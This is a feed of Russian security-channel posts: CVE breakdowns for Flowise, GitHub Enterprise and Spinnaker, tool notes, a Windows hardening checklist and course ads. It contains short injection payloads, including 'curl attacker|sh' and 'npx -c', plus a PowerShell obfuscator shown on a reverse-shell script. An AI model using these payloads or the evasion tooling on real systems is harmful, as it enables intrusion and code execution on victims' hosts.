«Защита есть, дыра тоже есть»: как три слоя валидации в AI-платформах не спасли от RCE
Представь: ты разработчик Flowise и добавил allowlist из пяти команд, функцию проверки инъекций и валидатор аргументов. Три слоя защиты. Кажется, достаточно. Потом приходит исследователь и пишет
Именно так работает CVE-2026-40933 в Flowise — open-source конструкторе LLM-потоков с drag & drop интерфейсом и примерно 200 000 активных инстансов. CVSS 9.9, критический. Для эксплуатации достаточно любого зарегистрированного аккаунта — даже с минимальными правами.
🔍 Корень проблемы — классический провал allowlist-подхода. Платформа проверяет имя исполняемого файла, но игнорирует семантику аргументов.
На момент раскрытия уязвимости около 7 000 Flowise-инстансов были публично доступны в интернете. Типичная история: платформу разворачивают «на попробовать», а потом она обрастает prod-интеграциями с API-ключами к OpenAI, Anthropic, внутренним базам данных. Одна CVE — и задача «пробить периметр» превращается в «собрать ключи от всей AI-инфраструктуры».
🎯 Рядом по таймлайну — CVE-2026-40911 в AVideo (CVSS 10.0). Там другой паттерн: два
Что объединяет обе CVE? Антипаттерны, которые убивали самописные PHP-скрипты пять лет назад —
⚠️ Несколько практических выводов, если ты тестируешь или защищаешь AI-инфраструктуру:
• Allowlist по имени бинарника — не защита, если не контролируются аргументы.
• Flowise < 3.1.0 — обновляй немедленно. Патч реализует строгую валидацию аргументов в MCP stdio адаптере.
• Если Flowise развёрнут внутри периметра — проверь, не накопились ли там prod-ключи от OpenAI или внутренних сервисов.
💡 Интересный нюанс для пентестеров: даже если UI Flowise ограничивает выбор транспорта только HTTP/SSE, backend может принять stdio-конфигурацию напрямую через API. Перехвати запрос в Burp, замени
Полный разбор обоих векторов, воспроизводимые шаги, маппинг на MITRE ATT&CK и индикаторы компрометации — в статье.
https://codeby.net/threads/rce-uyazvimosti-v-ai-platformakh-cve-2026-40933-i-cve-2026-40911-ot-allowlist-bypass-do-eval-injection.92944/
Представь: ты разработчик Flowise и добавил allowlist из пяти команд, функцию проверки инъекций и валидатор аргументов. Три слоя защиты. Кажется, достаточно. Потом приходит исследователь и пишет
npx — легитимная команда, allowlist доволен — а следом добавляет -c "touch /tmp/pwn". Файл создан. Хост скомпрометирован.Именно так работает CVE-2026-40933 в Flowise — open-source конструкторе LLM-потоков с drag & drop интерфейсом и примерно 200 000 активных инстансов. CVSS 9.9, критический. Для эксплуатации достаточно любого зарегистрированного аккаунта — даже с минимальными правами.
🔍 Корень проблемы — классический провал allowlist-подхода. Платформа проверяет имя исполняемого файла, но игнорирует семантику аргументов.
npx в списке разрешённых? Отлично. А то, что npx -c выполняет произвольный shell-код — уже не её забота. Аналогично работают python -c и node -e. Sanitization-функции ищут паттерны вроде ; rm -rf / в строке команды, но не разбирают контекст флагов.На момент раскрытия уязвимости около 7 000 Flowise-инстансов были публично доступны в интернете. Типичная история: платформу разворачивают «на попробовать», а потом она обрастает prod-интеграциями с API-ключами к OpenAI, Anthropic, внутренним базам данных. Одна CVE — и задача «пробить периметр» превращается в «собрать ключи от всей AI-инфраструктуры».
🎯 Рядом по таймлайну — CVE-2026-40911 в AVideo (CVSS 10.0). Там другой паттерн: два
eval()-sink на клиентской стороне выполняют произвольный JavaScript в браузере каждого пользователя, подключённого к WebSocket. Без аутентификации. Вообще без неё.Что объединяет обе CVE? Антипаттерны, которые убивали самописные PHP-скрипты пять лет назад —
eval() и subprocess.exec() без санитизации — теперь живут в современных AI-платформах с красивым интерфейсом и миллионами загрузок. Доверие к пользовательским данным заложено прямо в архитектуру.⚠️ Несколько практических выводов, если ты тестируешь или защищаешь AI-инфраструктуру:
• Allowlist по имени бинарника — не защита, если не контролируются аргументы.
npx, python, node — все умеют выполнять произвольный код через флаги.• Flowise < 3.1.0 — обновляй немедленно. Патч реализует строгую валидацию аргументов в MCP stdio адаптере.
• Если Flowise развёрнут внутри периметра — проверь, не накопились ли там prod-ключи от OpenAI или внутренних сервисов.
💡 Интересный нюанс для пентестеров: даже если UI Flowise ограничивает выбор транспорта только HTTP/SSE, backend может принять stdio-конфигурацию напрямую через API. Перехвати запрос в Burp, замени
transport_type с http на stdio, добавь command и args — backend не в курсе, что UI это запретил.Полный разбор обоих векторов, воспроизводимые шаги, маппинг на MITRE ATT&CK и индикаторы компрометации — в статье.
https://codeby.net/threads/rce-uyazvimosti-v-ai-platformakh-cve-2026-40933-i-cve-2026-40911-ot-allowlist-bypass-do-eval-injection.92944/
❤10👍6👎4🔥2
Dracnmap
📐 Возможности:
📉 Регулярное сканирование
📉 Сканирование нескольких IP-адресов
📉 Сканирование версии ОС и трассировка маршрута
📉 Выявление Firewall
🖱 Обход Firewall
⬇️ Установка:
0️⃣ Клонируем репозиторий и переходим в рабочую директорию:
1️⃣ Даём право only execute для владельца.
⛓️💥 Запуск:
▶️ Запуск утилиты:
#web #wapt #nmap
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
Dracnmap — это программа с открытым исходным кодом, используемая для анализа сети и сбора информации с помощью nmap. Команда nmap имеет множество опций, которые делают утилиту более надежной и сложной для освоения новыми пользователями. Поэтому Dracnmap разработан для быстрого сканирования с использованием скриптового механизма nmap, а nmap может выполнять различные методы автоматического сканирования с помощью расширенных команд.
git clone https://github.com/Screetsec/Dracnmap.git
cd Dracnmap
chmod 100 dracnmap-v2.2.sh
sudo bash dracnmap-v2.2.sh
#web #wapt #nmap
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10👍5🔥4
Один git push — и миллионы чужих репозиториев у тебя в кармане
В марте 2026 года команда Wiz Research отправила репорт в GitHub Bug Bounty. Через 40 минут уязвимость подтвердили, через два часа на github.com выкатили патч. Скорость реакции говорит о масштабе проблемы: один crafted push option давал RCE на бэкенд-серверах и доступ к публичным и приватным репозиториям чужих организаций. На момент раскрытия 88% self-hosted GHES-инстансов оставались уязвимы.
Но самое интересное тут — не сама дыра, а то, как её нашли.
🔍 Архитектура, которая подвела
Когда ты делаешь
Связующее звено между ними — заголовок X-Stat. Формат примитивный: пары
Push options — стандартная фича git-протокола (
⚙️ Как AI помог — и где не помог
Wiz копали GHES и раньше, но объём закрытых бинарников делал полноценный аудит нерентабельным. Десятки скомпилированных сервисов без исходников — ручной реверс каждого в IDA Pro занял бы месяцы.
Прорыв случился благодаря IDA MCP — AI-тулингу для автоматизации реверс-инжиниринга. Восстановление типов, идентификация функций, реконструкция внутренних протоколов — рутина, которая раньше занимала недели на один бинарник, ускорилась на порядок.
Но вот что важно: AI ускорил рутину, а не нашёл баг. Понимание, что точка с запятой в shared-формате — вектор инъекции, что last-write-wins превращает field injection в override security-полей, что конкретное поле
🎯 Для практикующих исследователей: аналогичный подход работает с любым продуктом, который поставляется как VM-образ или контейнер — GitLab Omnibus, Bitbucket Server, Jenkins. Для SaaS-only — вектор закрыт.
Полный разбор цепочки эксплуатации, формата X-Stat и методологии реверса — в статье на форуме.
https://codeby.net/threads/github-enterprise-rce-cve-2026-3854-ot-reversa-zakrytykh-binarnikov-do-polnoi-komprometatsii-servera.92950/
В марте 2026 года команда Wiz Research отправила репорт в GitHub Bug Bounty. Через 40 минут уязвимость подтвердили, через два часа на github.com выкатили патч. Скорость реакции говорит о масштабе проблемы: один crafted push option давал RCE на бэкенд-серверах и доступ к публичным и приватным репозиториям чужих организаций. На момент раскрытия 88% self-hosted GHES-инстансов оставались уязвимы.
Но самое интересное тут — не сама дыра, а то, как её нашли.
🔍 Архитектура, которая подвела
Когда ты делаешь
git push на GitHub через SSH, запрос проходит цепочку из четырёх сервисов: babeld (git-прокси) → gitauth (аутентификация) → gitrpcd (внутренний RPC) → pre-receive hook. Каждый написан на своём языке. И каждый безусловно доверяет предыдущему.Связующее звено между ними — заголовок X-Stat. Формат примитивный: пары
key=value, разделённые точкой с запятой. Парсинг — тривиальный split. А дальше — деталь, на которой всё держится: если ключ встречается дважды, второе значение тихо перезаписывает первое. Без предупреждений, без логов. Last-write-wins.Push options — стандартная фича git-протокола (
git push -o <value>). babeld кодирует их как поля в X-Stat. Пользователь контролирует значение. Точка с запятой не экранируется. Значит, через push option можно инжектить произвольные поля в X-Stat, перезаписывая security-критичные параметры — и получить command injection.⚙️ Как AI помог — и где не помог
Wiz копали GHES и раньше, но объём закрытых бинарников делал полноценный аудит нерентабельным. Десятки скомпилированных сервисов без исходников — ручной реверс каждого в IDA Pro занял бы месяцы.
Прорыв случился благодаря IDA MCP — AI-тулингу для автоматизации реверс-инжиниринга. Восстановление типов, идентификация функций, реконструкция внутренних протоколов — рутина, которая раньше занимала недели на один бинарник, ускорилась на порядок.
Но вот что важно: AI ускорил рутину, а не нашёл баг. Понимание, что точка с запятой в shared-формате — вектор инъекции, что last-write-wins превращает field injection в override security-полей, что конкретное поле
rails_env управляет sandbox-режимом — это чистый domain expertise. AI не вытянет такое сам: ему не хватает контекста «а что будет, если парсер встретит два одинаковых ключа».🎯 Для практикующих исследователей: аналогичный подход работает с любым продуктом, который поставляется как VM-образ или контейнер — GitLab Omnibus, Bitbucket Server, Jenkins. Для SaaS-only — вектор закрыт.
Полный разбор цепочки эксплуатации, формата X-Stat и методологии реверса — в статье на форуме.
https://codeby.net/threads/github-enterprise-rce-cve-2026-3854-ot-reversa-zakrytykh-binarnikov-do-polnoi-komprometatsii-servera.92950/
🔥8❤3👍2
Друзья, напоминаем, на каких курсах начинается обучение в мае🚗
Старт 4 мая:
⏺️ Курс «Основы кибербезопасности» — освоите ключевые навыки информационной безопасности: от основ Linux до проведения пентестов.
Старт 18 мая:
⏺️ Курс «Профессия Реверс-инженер» — научитесь анализировать бинарный код на уровне ассемблера, разбирать исполняемые файлы (PE, ELF, APK), исследовать вредоносное ПО и обходить антиотладку с протекторами.
Старт 25 мая:
⏺️ Курс «Профессия Пентестер» — учимся эксплуатировать онлайн-уязвимости и обходить антивирусы. Изучаем инструменты: сканеры, Bash-скрипты, пентест AD.
⏺️ Курс «Профессия AppSec-инженер» — научитесь анализировать код, находить уязвимости, строить безопасную архитектуру и применять OWASP-практики на реальных проектах.
✉️ Запишитесь у нашего менеджера @CodebyAcademyBot
Или узнайте подробности и программы курсов на нашем➡️ сайте
Старт 4 мая:
Старт 18 мая:
Старт 25 мая:
Или узнайте подробности и программы курсов на нашем
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍5🔥4
Инструмент для обфускации PoSh скриптов, написан на
Установка:
go install github.com/TaurusOmar/psobf/v2/cmd/psobf@v2.0.1
Запуск:
psobf -i .\revsh.ps1 -o revsh_obf.ps1 -level 1
На вход подаем оригинальный скрипт, на выход получаем обфусцированный и указываем уровень от 1 до 6
На последнем уровне используется AES шифрование
Примеры:
# Original
Write-Host "Hello, World!"
# Obfuscated level 1
$rukp = $([char[]](87,114,105,116,101,45,72,111,115,116,32,34,72,101,108,108,111,44,32,87,111,114,108,100,33,34) -join ''); . ([ScriptBlock]::Create($rukp))
# Original
Write-Host "Hello, World!"
# Obfuscated level 2
$rukp = 'V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='; $rukp = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($rukp)); . ([ScriptBlock]::Create($rukp))
# Original
Write-Host "Hello, World!"
# Obfuscated level 3
$rukp = 'V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='; $tuez = [Convert]::FromBase64String($rukp); $tuez = [Text.Encoding]::UTF8.GetString($tuez); . ([ScriptBlock]::Create($tuez))
# Original
Write-Host "Hello, World!"
# Obfuscated level 4
$c='H4sIAAAAAAAA/wovyixJ1fXILy5RUPJIzcnJ11EIzy/KSVFUAgQAAP//PM5PshoAAAA=';$b=[Convert]::FromBase64String($c);$m=New-Object IO.MemoryStream(,$b);$g=New-Object IO.Compression.GzipStream($m,[IO.Compression.CompressionMode]::Decompress);$r=New-Object IO.StreamReader($g);$rukp=$r.ReadToEnd();. ([ScriptBlock]::Create($rukp))
# Original
Write-Host "Hello, World!"
# Obfuscated level 5
$rukp = @('Write-Host "He','llo, World!','"'); $rukp = $rukp -join ''; . ([ScriptBlock]::Create($rukp))
#soft #powershell #obfuscator #psobf
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍7🔥5
Forwarded from Hacker Lab
Мы переработали профиль пользователя на HackerLab.
Теперь это не просто страница с базовой статистикой, а полноценная карта прогресса: какие задания уже решены, в каких направлениях пользователь силён, где есть зоны роста и куда двигаться дальше.
— общий прогресс по заданиям, курсам, пентест-машинам и PRO-лабам
— компетенции по направлениям
— сильные стороны и зоны роста
— история активности
Достижения открываются за конкретные шаги на платформе: первое решённое задание, новые рубежи, стабильное движение по таскам.
Теперь прогресс не растворяется в общей статистике - он остаётся в профиле и показывает путь пользователя на платформе.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8🔥5👍3❤🔥1🎉1🤩1
GetNet: что за конференция и почему на неё идут не за стикерами
Коллеги, 15 мая пройдёт GetNet — конференция для сетевиков и сисадминов среднего бизнеса. Москва + онлайн. Без enterprise-космолётов и «успешного успеха», только прикладные доклады от инженеров, которые сами всё это крутят в продакшене.
В отличие от классических «вендорских» ивентов, где два трека и один венчурный питч, здесь программа собрана под реальные боли админов прямо сейчас.
Что в программе:
• Импортозамещение: как выбрать оборудование, чтобы потом не пожалеть (Владислав Хлебников, Совкомбанк Технологии) — методология тестирования и поиска багов до закупки
• NGFW: как не купить цифры вместо безопасности (Александр Бирюков, Positive Technologies) — честный разбор архитектуры межсетевого экрана, который на независимых тестах выжал ×2,3 от паспорта
• Автоматизация управления сетью — от скриптов до вменяемых решений
• Мониторинг и надёжность — чтобы не жить по алертам из чата в три ночи
• VPN, блокировки, DPI-обход — как выживать админу, когда гайки закручивают всё сильнее
Только практикующие инженеры, только реальные кейсы, инструменты, которые можно забрать и применить сразу.
📍 Очно в Москве, онлайн-трансляция.
Программа и регистрация
#GetNet #network #конференция
Коллеги, 15 мая пройдёт GetNet — конференция для сетевиков и сисадминов среднего бизнеса. Москва + онлайн. Без enterprise-космолётов и «успешного успеха», только прикладные доклады от инженеров, которые сами всё это крутят в продакшене.
В отличие от классических «вендорских» ивентов, где два трека и один венчурный питч, здесь программа собрана под реальные боли админов прямо сейчас.
Что в программе:
• Импортозамещение: как выбрать оборудование, чтобы потом не пожалеть (Владислав Хлебников, Совкомбанк Технологии) — методология тестирования и поиска багов до закупки
• NGFW: как не купить цифры вместо безопасности (Александр Бирюков, Positive Technologies) — честный разбор архитектуры межсетевого экрана, который на независимых тестах выжал ×2,3 от паспорта
• Автоматизация управления сетью — от скриптов до вменяемых решений
• Мониторинг и надёжность — чтобы не жить по алертам из чата в три ночи
• VPN, блокировки, DPI-обход — как выживать админу, когда гайки закручивают всё сильнее
Только практикующие инженеры, только реальные кейсы, инструменты, которые можно забрать и применить сразу.
📍 Очно в Москве, онлайн-трансляция.
Программа и регистрация
#GetNet #network #конференция
👍7🔥5❤3
120 машин с Windows 10 — и ни одна не готова к EOL
На трёх последних внутренних пентестах — банк, производство, госструктура — картина одинаковая: дефолтные GPO, открытый SMBv1, LSASS без защиты. Mimikatz снимал хеши за секунды, а Pass-the-Hash давал lateral movement до контроллера домена за минуты. И это ещё до окончания поддержки.
После 14 октября 2025 каждая новая CVE в ядре Windows 10 становится перманентным 0-day. Microsoft патчит Windows 11 — diff между версиями публикуется открыто. Злоумышленник берёт октябрьский Patch Tuesday для Windows 11, reverse-diff'ит и пишет эксплойт для «десятки», где fix не появится никогда. Это не теория — после EOL Windows 7 массовая эксплуатация началась за считанные месяцы.
🔍 Что проверить в первую очередь
Вот шесть точек, которые я проверяю и как атакующий, и как автор рекомендаций в отчёте:
•
•
• UAC level = 5 (дефолт)? Обход через десятки публичных техник
• Credential Guard не активен? NTLM-хеши лежат в памяти открытым текстом
• PowerShell в режиме
• WDigest не отключён? Пароли хранятся в памяти в открытом виде даже при включённом RunAsPPL
⚙️ Три быстрых действия, которые поднимают планку атаки на порядок
1. Включить
2. Отключить WDigest: ключ
3. Убить SMBv1:
🛡 Важный нюанс: сигнатуры Defender будут приходить до 2028 года. Но антивирус ловит известные вредоносы, а не закрывает дыру в
Для автоматизации аудита — HardeningKitty прогоняет хост по CIS Benchmark, а PingCastle сканирует AD целиком.
Полный чеклист с командами, GPO-настройками и привязкой к MITRE ATT&CK — в статье на форуме.
https://codeby.net/threads/khardening-windows-10-11-posle-okonchaniya-podderzhki-cheklist-dlya-pentestera-i-administratora.92954/
На трёх последних внутренних пентестах — банк, производство, госструктура — картина одинаковая: дефолтные GPO, открытый SMBv1, LSASS без защиты. Mimikatz снимал хеши за секунды, а Pass-the-Hash давал lateral movement до контроллера домена за минуты. И это ещё до окончания поддержки.
После 14 октября 2025 каждая новая CVE в ядре Windows 10 становится перманентным 0-day. Microsoft патчит Windows 11 — diff между версиями публикуется открыто. Злоумышленник берёт октябрьский Patch Tuesday для Windows 11, reverse-diff'ит и пишет эксплойт для «десятки», где fix не появится никогда. Это не теория — после EOL Windows 7 массовая эксплуатация началась за считанные месяцы.
🔍 Что проверить в первую очередь
Вот шесть точек, которые я проверяю и как атакующий, и как автор рекомендаций в отчёте:
•
RunAsPPL в реестре — значение 0 или отсутствует? Mimikatz снимет хеши без усилий•
EnableSMB1Protocol = True? Хост открыт для relay-атак и целого класса RCE• UAC level = 5 (дефолт)? Обход через десятки публичных техник
• Credential Guard не активен? NTLM-хеши лежат в памяти открытым текстом
• PowerShell в режиме
FullLanguage? Любой payload выполнится без ограничений• WDigest не отключён? Пароли хранятся в памяти в открытом виде даже при включённом RunAsPPL
⚙️ Три быстрых действия, которые поднимают планку атаки на порядок
1. Включить
RunAsPPL: одна строка в реестре, перезагрузка — и стандартный Mimikatz ловит ошибку доступа. Обход через BYOVD требует kernel-level доступа и конкретного уязвимого драйвера. Совсем другой уровень сложности.2. Отключить WDigest: ключ
UseLogonCredential = 0. Без этого пароли валяются в памяти в открытом виде. Видел на реальном проекте — RunAsPPL включили, WDigest забыли. Половина работы впустую.3. Убить SMBv1:
Set-SmbServerConfiguration -EnableSMB1Protocol $false. Протокол из 2006 года не нужен в 2025-м. Если что-то сломается — значит в сети есть legacy-система, которая сама по себе проблема.🛡 Важный нюанс: сигнатуры Defender будут приходить до 2028 года. Но антивирус ловит известные вредоносы, а не закрывает дыру в
win32k.sys или ntoskrnl.exe. Это как замок на двери с дырой размером с кулак.Для автоматизации аудита — HardeningKitty прогоняет хост по CIS Benchmark, а PingCastle сканирует AD целиком.
Полный чеклист с командами, GPO-настройками и привязкой к MITRE ATT&CK — в статье на форуме.
https://codeby.net/threads/khardening-windows-10-11-posle-okonchaniya-podderzhki-cheklist-dlya-pentestera-i-administratora.92954/
👍12🔥6❤5👎1
Auditd — это встроенная система аудита в Linux, которая записывает кто, что и когда сделал в системе.
Если тебе нужно понять, *кто удалил файл*, *кто получил доступ к /etc/shadow* или *когда изменили конфиг* — это как раз его задача.
Auditd состоит из нескольких частей:
Auditd умеет фиксировать почти всё:
В большинстве дистрибутивов Auditd доступен из стандартных репозиториев:
Debian / Ubuntu:
apt install auditd audispd-plugins
RHEL / CentOS:
yum install audit
После установки сервис обычно запускается автоматически. При необходимости:
systemctl enable auditd
systemctl start auditd
Добавим правило для отслеживания изменений файла
/etc/passwd:auditctl -w /etc/passwd -p wa -k passwd_changes
Параметры:
-w — указание файла для наблюдения-p wa — отслеживание записи (write) и изменения атрибутов (attribute)-k — ключ для удобного поиска событийЖурналы аудита по умолчанию сохраняются в:
/var/log/audit/audit.log
Для анализа рекомендуется использовать:
*
ausearch — выборка событий*
aureport — генерация отчетов#linux #auditd #cybersecurity #infosec #sysadmin #logging #security #devops
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13❤6🔥4👎1
Две девятки по CVSS в Spinnaker: как обычная учётка превращается в shell на production
Spinnaker — платформа для управления деплоями от Netflix, которую используют Google, Cisco и сотни enterprise-команд. В апреле 2026 года в ней нашли две критические уязвимости с оценкой CVSS 9.9. Обе эксплуатируются пользователем без привилегий — достаточно просто быть аутентифицированным.
🔥 CVE-2026-32604 — command injection в clouddriver. Поле
🔑 CVE-2026-32613 — SpEL-инъекция в Echo, сервисе нотификаций и триггеров. Spring Expression Language позволяет выполнить произвольный Java-код на сервере. Тут нужен WRITE на одно application, но результат тот же — полный RCE.
Почему это так больно? Архитектура Spinnaker построена на модели доверия периметру: Gate аутентифицирует запросы на входе, а дальше все 10+ микросервисов общаются друг с другом внутри Kubernetes-кластера без проверки прав. Получил shell на clouddriver — а там лежат production-credentials к AWS, GCP, Azure. Полностью доверенная зона, без токенов, без вопросов.
⚡️ Цепочка эксплуатации CVE-2026-32604 выглядит до обидного просто:
1. Аутентифицироваться в Gate (любая учётка)
2. Запросить
3. Найти аккаунт с типом TOKEN или USER_PASS
4. Отправить
Всё. Command injection уровня «первый семестр secure coding», а CVSS — 9.9. Clouddriver выполнит ваш скрипт с правами пода, в котором хранятся ключи от production-облаков.
Что делать прямо сейчас:
• Обновиться до Spinnaker 2026.0.1, 2025.4.2 или 2025.3.2
• Проверить, не торчит ли Gate наружу (ZeroPath находила публичные инстансы)
• Аудит artifact accounts — убрать неиспользуемые TOKEN/USER_PASS аккаунты
• Внедрить network policies между микросервисами — модель «доверяй всем внутри кластера» в 2026 году уже не работает
В полной статье — разбор обоих векторов до уровня конкретных строк кода, post-exploitation и то, что видит и не видит blue team.
https://codeby.net/threads/cve-2026-32604-i-cve-2026-32613-rce-v-spinnaker-ot-low-priv-autentifikatsii-do-shell-na-clouddriver-i-echo.92955/
Spinnaker — платформа для управления деплоями от Netflix, которую используют Google, Cisco и сотни enterprise-команд. В апреле 2026 года в ней нашли две критические уязвимости с оценкой CVSS 9.9. Обе эксплуатируются пользователем без привилегий — достаточно просто быть аутентифицированным.
🔥 CVE-2026-32604 — command injection в clouddriver. Поле
version из JSON-запроса к эндпоинту PUT /artifacts/fetch конкатенируется прямо в shell-команду без какой-либо санитизации. Буквально: clouddriver берёт пользовательский ввод и подставляет его в sh -c "git clone --branch YOUR_INPUT...". Точка с запятой в поле version — и вместо клонирования репозитория clouddriver выполняет произвольный код. Никаких специальных ролей не нужно — ни WRITE на application, ни EXECUTE на pipeline.🔑 CVE-2026-32613 — SpEL-инъекция в Echo, сервисе нотификаций и триггеров. Spring Expression Language позволяет выполнить произвольный Java-код на сервере. Тут нужен WRITE на одно application, но результат тот же — полный RCE.
Почему это так больно? Архитектура Spinnaker построена на модели доверия периметру: Gate аутентифицирует запросы на входе, а дальше все 10+ микросервисов общаются друг с другом внутри Kubernetes-кластера без проверки прав. Получил shell на clouddriver — а там лежат production-credentials к AWS, GCP, Azure. Полностью доверенная зона, без токенов, без вопросов.
⚡️ Цепочка эксплуатации CVE-2026-32604 выглядит до обидного просто:
1. Аутентифицироваться в Gate (любая учётка)
2. Запросить
GET /artifacts/credentials — эндпоинт отдаёт список всех artifact accounts без проверки ролей3. Найти аккаунт с типом TOKEN или USER_PASS
4. Отправить
PUT /artifacts/fetch с payload вида "version": "main; curl attacker|sh;"Всё. Command injection уровня «первый семестр secure coding», а CVSS — 9.9. Clouddriver выполнит ваш скрипт с правами пода, в котором хранятся ключи от production-облаков.
Что делать прямо сейчас:
• Обновиться до Spinnaker 2026.0.1, 2025.4.2 или 2025.3.2
• Проверить, не торчит ли Gate наружу (ZeroPath находила публичные инстансы)
• Аудит artifact accounts — убрать неиспользуемые TOKEN/USER_PASS аккаунты
• Внедрить network policies между микросервисами — модель «доверяй всем внутри кластера» в 2026 году уже не работает
В полной статье — разбор обоих векторов до уровня конкретных строк кода, post-exploitation и то, что видит и не видит blue team.
https://codeby.net/threads/cve-2026-32604-i-cve-2026-32613-rce-v-spinnaker-ot-low-priv-autentifikatsii-do-shell-na-clouddriver-i-echo.92955/
❤3👍2🔥1
Консультант по безопасности Пол Мур обнаружил, что приложение хранит зашифрованный PIN-код локально, но, что особенно важно, шифрование не привязано к хранилищу личных данных пользователя, где хранятся конфиденциальные данные для верификации.
Это открывает возможности для удивительно простого обхода защиты. Удалив определенные значения, связанные с PIN-кодом, из файлов конфигурации приложения и перезапустив его, злоумышленник может установить новый PIN-код, сохранив при этом доступ к учетным данным, созданным в предыдущем профиле.
Исследователь также указал на дополнительные уязвимости, которые еще больше упрощают перебор паролей или попытки их обойти:
Официальные лица признали, что представленная публике версия еще не является готовым потребительским продуктом, несмотря на то, что ее назвали «готовой». В Еврокомиссии заявили, что представленное приложение «обладает всеми функциями», которые планировались для пользователей, но подчеркнули, что на практике это «все еще демонстрационная версия».
По словам пресс-секретаря, ключевое отличие заключается в том, что приложение еще официально не представлено гражданам. Вместо этого его исходный код опубликован в открытом доступе специально для того, чтобы его можно было изучить.
#news #security #vulnerabilities
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🔥6😁6❤4🤯1
6 строк кода вместо 4 часов реверса: как символьное исполнение ломает CTF-таски
На CSAW CTF 2015 задача «wyvern» из категории Reversing 500 содержала бинарь с десятками вложенных проверок ввода. Ручной реверс в Ghidra — часы работы. Скрипт на 6 строках angr решил её за 15 минут. Автоматически сгенерировал входные данные, удовлетворяющие каждому условию. Не магия, а математика.
🔬 Суть подхода простая. Вместо конкретных значений на вход подаются символические переменные — абстракции, которые могут быть чем угодно. На каждом ветвлении (
Если целевой точкой назначить вызов
⚡️ Но есть нюансы. Главный враг — path explosion. Каждое ветвление удваивает число состояний. Цикл на 1000 итераций с условием внутри — теоретически 2^1000 путей. А если проверка включает SHA-256 или другую криптографию, Z3 просто не решит constraints за разумное время. Поэтому символьное исполнение — фильтр, а не серебряная пуля.
Теперь к выбору инструмента. Три основных фреймворка:
• angr — самый зрелый и живой. Поддерживает x86/x64, ARM, MIPS. Еженедельные коммиты, богатая документация, десятки готовых примеров. На FlareOn 2015 Challenge 5 — решение за 2 минуты 10 секунд. ASIS CTF Finals 2015 — 3.6 секунды. Лучший выбор для CTF, пентеста, автоматизации рутинного реверса.
• Manticore — от Trail of Bits. Уникальная фишка — поддержка смарт-контрактов Ethereum. Помог обнаружить CVE-2020-5232 (CVSS 8.7) в Ethereum Name Service. Но разработка фактически остановилась — начинать новый проект на нём рискованно.
• Triton — заточен под динамический анализ. Работает не с абстрактным исполнением всех путей, а с конкретной трассой. Идеален для деобфускации, снятия MBA-выражений, точечного анализа конкретного пути исполнения.
🎯 Простое правило выбора: нужен автоматический обход всех путей — angr. Аудит смарт-контрактов — Manticore (с оговорками). Работа с конкретной трассой и деобфускация — Triton.
В полной статье — рабочий код для каждого фреймворка, decision tree выбора инструмента и честный разбор граничных случаев, где символьное исполнение ломается.
https://codeby.net/threads/simvol-noye-ispolneniye-dlya-poiska-uyazvimostei-angr-manticore-i-triton-na-praktike.92962/
На CSAW CTF 2015 задача «wyvern» из категории Reversing 500 содержала бинарь с десятками вложенных проверок ввода. Ручной реверс в Ghidra — часы работы. Скрипт на 6 строках angr решил её за 15 минут. Автоматически сгенерировал входные данные, удовлетворяющие каждому условию. Не магия, а математика.
🔬 Суть подхода простая. Вместо конкретных значений на вход подаются символические переменные — абстракции, которые могут быть чем угодно. На каждом ветвлении (
if, switch, граница цикла) движок создаёт два состояния и накапливает ограничения. В целевой точке — например, при вызове puts("Access granted") — всё передаётся SMT-солверу Z3, который решает систему уравнений и возвращает конкретный ввод. Никакого перебора — чистая математическая задача.Если целевой точкой назначить вызов
strcpy с контролируемым буфером, солвер найдёт ввод, приводящий к buffer overflow. Это уже не CTF — это автоматический поиск уязвимостей в реальных бинарях.⚡️ Но есть нюансы. Главный враг — path explosion. Каждое ветвление удваивает число состояний. Цикл на 1000 итераций с условием внутри — теоретически 2^1000 путей. А если проверка включает SHA-256 или другую криптографию, Z3 просто не решит constraints за разумное время. Поэтому символьное исполнение — фильтр, а не серебряная пуля.
Теперь к выбору инструмента. Три основных фреймворка:
• angr — самый зрелый и живой. Поддерживает x86/x64, ARM, MIPS. Еженедельные коммиты, богатая документация, десятки готовых примеров. На FlareOn 2015 Challenge 5 — решение за 2 минуты 10 секунд. ASIS CTF Finals 2015 — 3.6 секунды. Лучший выбор для CTF, пентеста, автоматизации рутинного реверса.
• Manticore — от Trail of Bits. Уникальная фишка — поддержка смарт-контрактов Ethereum. Помог обнаружить CVE-2020-5232 (CVSS 8.7) в Ethereum Name Service. Но разработка фактически остановилась — начинать новый проект на нём рискованно.
• Triton — заточен под динамический анализ. Работает не с абстрактным исполнением всех путей, а с конкретной трассой. Идеален для деобфускации, снятия MBA-выражений, точечного анализа конкретного пути исполнения.
🎯 Простое правило выбора: нужен автоматический обход всех путей — angr. Аудит смарт-контрактов — Manticore (с оговорками). Работа с конкретной трассой и деобфускация — Triton.
В полной статье — рабочий код для каждого фреймворка, decision tree выбора инструмента и честный разбор граничных случаев, где символьное исполнение ломается.
https://codeby.net/threads/simvol-noye-ispolneniye-dlya-poiska-uyazvimostei-angr-manticore-i-triton-na-praktike.92962/
❤8👍2🔥1
Инструмент для расследования инцидентов несанкционированного входа в систему, позволяющий визуализировать и анализировать журналы событий Windows Active Directory. Он сопоставляет имя хоста (или IP-адрес) и имя учетной записи, указанные в событиях, связанных с входом в систему, и отображает их в виде графов. Таким образом можно увидеть, с какой учетной записи и с какого хоста была предпринята попытка входа.
Включает в себя механизм анализа на основе искусственного интеллекта с использованием моделей OpenAI GPT для интеллектуального обнаружения угроз в дополнение к традиционным подходам, основанным на правилах:
Дополнительный анализ
Клонируем репозиторий и устанавливаем зависимости.
git clone https://github.com/JPCERTCC/LogonTracer.git
cd LogonTracer
pip3 install -r requirements.txt
Далее необходимо скачать и запустить Neo4j и отредактировать файл конфигурации vi config/config.yml.
settings:
logontracer:
WEB_PORT: "8080"
default_user: "neo4j" # Имя пользователя Neo4j для учетной записи LogonTracer по умолчанию
default_password: "password" # Измените его перед первым запуском
neo4j:
NEO4J_USER: "neo4j"
NEO4J_PASSWORD: "password" # Ваш пароль для Neo4j
